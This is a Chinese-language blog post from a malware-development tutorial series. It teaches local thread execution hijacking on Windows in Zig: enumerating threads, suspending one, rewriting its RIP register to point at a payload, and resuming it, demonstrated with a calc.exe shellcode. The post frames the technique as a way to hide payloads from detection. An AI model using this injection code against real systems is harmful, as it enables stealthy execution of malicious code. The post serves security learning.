Day21 - 影子寄生術,操弄世界的魁儡:Process Injection 之 Thread Execution Hijacking(上)

Day21 - 影子寄生術,操弄世界的魁儡:Process Injection 之 Thread Execution Hijacking(上)
CX330走在時代前沿的前言
Ayo 大家好!在我們昨天了解完了如何使用回呼函數來執行 Shellcode 之後,今天我們將要來看看什麼是線程劫持(Thread Execution Hijacking)啦!
本文將會分為上下兩篇,上篇會主要專注在本地進程的線程劫持,作為幫助大家快速理解概念的一個小範例,下篇會進入到正式的遠端進程的線程劫持。那就廢話不多說,讓我們開始吧!
疊甲
中華民國刑法第 362 條:「製作專供犯本章之罪之電腦程式,而供自己或他人犯本章之罪,致生損害於公眾或他人者,處五年以下有期徒刑、拘役或科或併科六十萬元以下罰金。」
本系列文章涉及多種惡意程式的技術,旨在提升個人技術能力與資安意識。本人在此強烈呼籲讀者,切勿使用所學到的知識與技術從事任何違法行為!
Zig 版本
本系列文章中使用的 Zig 版本號為 0.14.1。
線程劫持簡介
線程劫持(Thread Execution Hijacking)是一種用來在不創建新的線程的情況下執行 Payload 的技術。其中的原理,是將線程暫停後,去更改指向記憶體中下一條指令的暫存器,把它指向 Payload 的起始位置。這樣一來,當線程恢復執行的時候,就會去執行到我們指定的 Payload。
那線程劫持跟創建新線程的差異在哪裡呢?為什麼要劫持現有線程來執行 Payload 而不乾脆創建一個新的線程來執行它呢?主要的原因是因為 Payload 的隱蔽性的考量,為了執行 Payload 而去創建一個新的線程很容易會暴露 Payload 的基址,因為新線程的入口點必須要指向記憶體中的 Payload 的基址,這將進而暴露 Payload 的內容;但如果我們使用線程劫持,該線程的入口點將會指向一個正常的進程函數,讓該線程看起來是無害的。
線程的上下文
在我們繼續看線程劫持之前,要先來看一下線程的上下文(Thread context)。每個線程都有一個排程優先權,並維護一組由系統儲存到該線程上下文的結構。線程上下文包含了線程能夠無縫恢復執行所需的所有資訊,包含該線程的 CPU 暫存器(寄存器)們與 Stack。
我們可以透過 GetThreadContext
和 SetThreadContext
這兩個 Windows API 來獲取及設置線程的上下文。GetThreadContext
會填入一個 CONTEXT
結構,該結構包含該線程的所有資訊,而相反的 SetThreadContext
則會接收一個已填寫的 CONTEXT
結構,並將其設定到指定的線程上。
線程的枚舉
在我們這前幾天的內容中,我們有時候會使用到 CreateToolhelp32Snapshot
這個 Windows API,目的是用來取得系統的進程快照,並且對我們的目標進程動手腳。在本篇文章中,我們將繼續使用它,但是不同的是,它將使用不同的值作為 dwFlags
的參數。
為了要枚舉系統上的運行中線程,必須指定 TH32CS_SNAPTHREAD
標誌。如此一來,CreateToolhelp32Snapshot
會回傳以下的 THREADENTRY32
結構。
typedef struct tagTHREADENTRY32 {
DWORD dwSize; // sizeof(THREADENTRY32)
DWORD cntUsage;
DWORD th32ThreadID; // Thread ID
DWORD th32OwnerProcessID; // The PID of the process that created the thread.
LONG tpBasePri;
LONG tpDeltaPri;
DWORD dwFlags;
} THREADENTRY32;
為了要識別出線程是否屬於某個特定的進程,我們可以用 THREADENTRY32.th32OwnerProcessID
跟目標進程的 PID 做比對來達到這個目標。如果兩者相匹配,則代表當前的線程屬於目標進程。
需要使用的 API
我們會用到以下的 API 們。
CreateToolhelp32Snapshots
- 這邊會用來獲取系統上所有執行中的線程的快照
Thread32First
- 從我們拍下的快照中獲取第一個線程的資訊
Thread32Next
- 從我們拍下的快照中獲取下一個線程的資訊
OpenThread
- 傳入 TID(Thread ID)並嘗試獲取線程的句柄
GetCurrentProcessId
- 取得當前進程的 PID,在此例中,目標進程是本地進程
那我們來看一下線程枚舉的 Zig 程式碼吧!以下的 getLocalThreadHandle
函數會接收 3 個參數,分別是:
main_thread_id
:本地進程的主線程的 TID,這是為了避免讓我們劫持到本地進程的主線程thread_id
:一個u32
的指針,指向可劫持的線程的 TIDthread_handle
:一個windows.HANDLE
的指針,指向可劫持的線程的句柄
fn getLocalThreadHandle(main_thread_id: u32, thread_id: *u32, thread_handle: *windows.HANDLE) bool {
const process_id = GetCurrentProcessId();
print("\t[i] Current Process ID: {}\n", .{process_id});
print("\t[i] Main Thread ID: {}\n", .{main_thread_id});
const snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
if (snapshot == windows.INVALID_HANDLE_VALUE) {
print("\n\t[!] CreateToolhelp32Snapshot Failed With Error: {}\n", .{windows.kernel32.GetLastError()});
return false;
}
defer windows.CloseHandle(snapshot);
var thread_entry = THREADENTRY32{
.dwSize = @sizeOf(THREADENTRY32),
.cntUsage = 0,
.th32ThreadID = 0,
.th32OwnerProcessID = 0,
.tpBasePri = 0,
.tpDeltaPri = 0,
.dwFlags = 0,
};
if (Thread32First(snapshot, &thread_entry) == 0) {
print("\n\t[!] Thread32First Failed With Error: {}\n", .{windows.kernel32.GetLastError()});
return false;
}
var thread_count: u32 = 0;
while (true) {
if (thread_entry.th32OwnerProcessID == process_id) {
thread_count += 1;
if (thread_entry.th32ThreadID != main_thread_id) {
thread_id.* = thread_entry.th32ThreadID;
thread_handle.* = OpenThread(THREAD_ALL_ACCESS, 0, thread_entry.th32ThreadID);
if (thread_handle.* == windows.INVALID_HANDLE_VALUE) {
print("\n\t[!] OpenThread Failed With Error: {}\n", .{windows.kernel32.GetLastError()});
} else {
print("\t[i] Successfully opened thread handle\n", .{});
return true;
}
}
}
if (Thread32Next(snapshot, &thread_entry) == 0) {
break;
}
}
print("\t[i] Total threads found in current process: {}\n", .{thread_count});
return false;
}
這段程式碼中,一開始我們會先使用 GetCurrentProcessId
來獲取當前進程的 PID,這是為了稍後要比對枚舉的線程是否屬於當前的進程。下一步我們會使用 CreateToolhelp32Snapshot
來建立一個系統快照,裡面包含所有線程的資訊。接著初始化 THREADENTRY32
並使用 Thread32First
取出第一個線程,再用 Thread32Next
持續遍歷所有線程。在這個遍歷的過程中,若 th32OwnerProcessID
和目前進程的 ID 相同,代表該線程屬於本進程,則將會嘗試獲取他的句柄。
劫持線程
當我們拿到我們的目標線程的句柄後,我們就準備要來劫持它了!第一步是要先暫停它,讓他停止執行,這邊要把 TID 給傳入。
const suspend_result = SuspendThread(thread_handle);
if (suspend_result == 0xFFFFFFFF) {
print("\t[!] SuspendThread Failed With Error: {}\n", .{windows.kernel32.GetLastError()});
return false;
}
下一步,我們會需要先取得線程的上下文,才能修改它,把它指向我們的 Payload。所以我們需要使用 GetThreadContext
取得目標線程的 CONTEXT
結構。我們將會使用 SetThreadContext
來修改當前線程的上下文,更具體來說,我們要去改決定下一條指令的暫存器,也就是 64 位元系統上的 RIP
或是 32 位元系統的 EIP
。
在 GetThreadContext
的第二個參數 lpContext
寫說它是 IN & OUT 參數,這是因為根據微軟的官方文檔說明,它說這個函數會根據 CONTEXT
結構中的 ContextFlags
成員的值,選擇性的回傳對應的線程上下文資訊。所以在我們呼叫 GetThreadContext
之前,需要先為 CONTEXT.ContextFlags
設定一個值,我們會將其設定為 CONTEXT_CONTROL
以拿到控制暫存器(設置為 CONTEXT_ALL
也可以達成目的)。
thread_ctx.ContextFlags = CONTEXT_ALL;
接著,就可以用 GetThreadContext
把線程的上下文給拿出來了。拿出來後,我們要去改他的 RIP
的值(或是 EIP
)讓其指向我們的 Payload 的基址(這代表我們要在線程劫持之前先把 Payload 寫入記憶體,並取得其地址)。
if (GetThreadContext(thread_handle, &thread_ctx) == 0) {
print("\t[!] GetThreadContext Failed With Error: {}\n", .{windows.kernel32.GetLastError()});
return false;
}
thread_ctx.Rip = @intFromPtr(address);
在我們修改完暫存器,把下一個要執行的指令指向我們的 Payload 之後,還需要去使用 SetThreadContext
把整個線程的上下文給寫回去原本的線程之中。
if (SetThreadContext(thread_handle, &thread_ctx) == 0) {
print("\t[!] SetThreadContext Failed With Error: {}\n", .{windows.kernel32.GetLastError()});
return false;
}
最後,為了讓我們的 Payload 可以順利被執行,我們需要使用 ResumeThread
讓線程繼續運行,這樣他就會執行到我們剛剛設置的 Payload。不過這邊值得注意的是我們依然要使用 WaitForSingleObject
讓程式等待該線程結束,以確保我們的 Payload 被執行。
執行結果
我們在這邊使用 MSFvenom 產生的 calc.exe
的 Payload 來作為示範。因為我們劫持的線程不是主線程,且他不是持續有在執行的,所以 Payload 不一定會馬上執行。下圖展示了我們成功地找到了目標的線程和進程 ID。
同時我們還可以看一下分配到的記憶體。
下一步,我們把 Payload 寫入。
最後我們執行它!
可以看到我們執行成功了!不過線程可能會在我們執行後終止,這會取決於我們的 Payload 是否會終止調用他的線程。舉例來說,這邊的 calc.exe
的 Payload 就會終止執行它的線程,所以我們可以看到剛剛的 TID 37328 的線程在小算盤彈出來後消失了。
鐵人賽期 PoPoo,你今天轉 Po 了嗎?
好啦各位!今天的文章結束囉,恭喜我們在度過了 20 天大關之後,順利的來到了下一個階段!
今天跟大家介紹了本地的線程劫持,明天會來介紹遠程進程中的線程劫持!我們再次複習一下,整個流程是要先找到目標的線程,暫停它,獲取線程上下文,更改 Instruction Pointer 暫存器,設定線程上下文,最後讓線程恢復執行!
如果對惡意程式開發或是惡意程式分析有興趣的話,這個系列會很適合你!最後也感謝大家的閱讀,歡迎順手按讚留言訂閱轉發(轉發可以讓朋友們知道你都在讀這種很技術的文章,他們會覺得你好帥好強好電,然後開始裝弱互相吹捧)~明天見!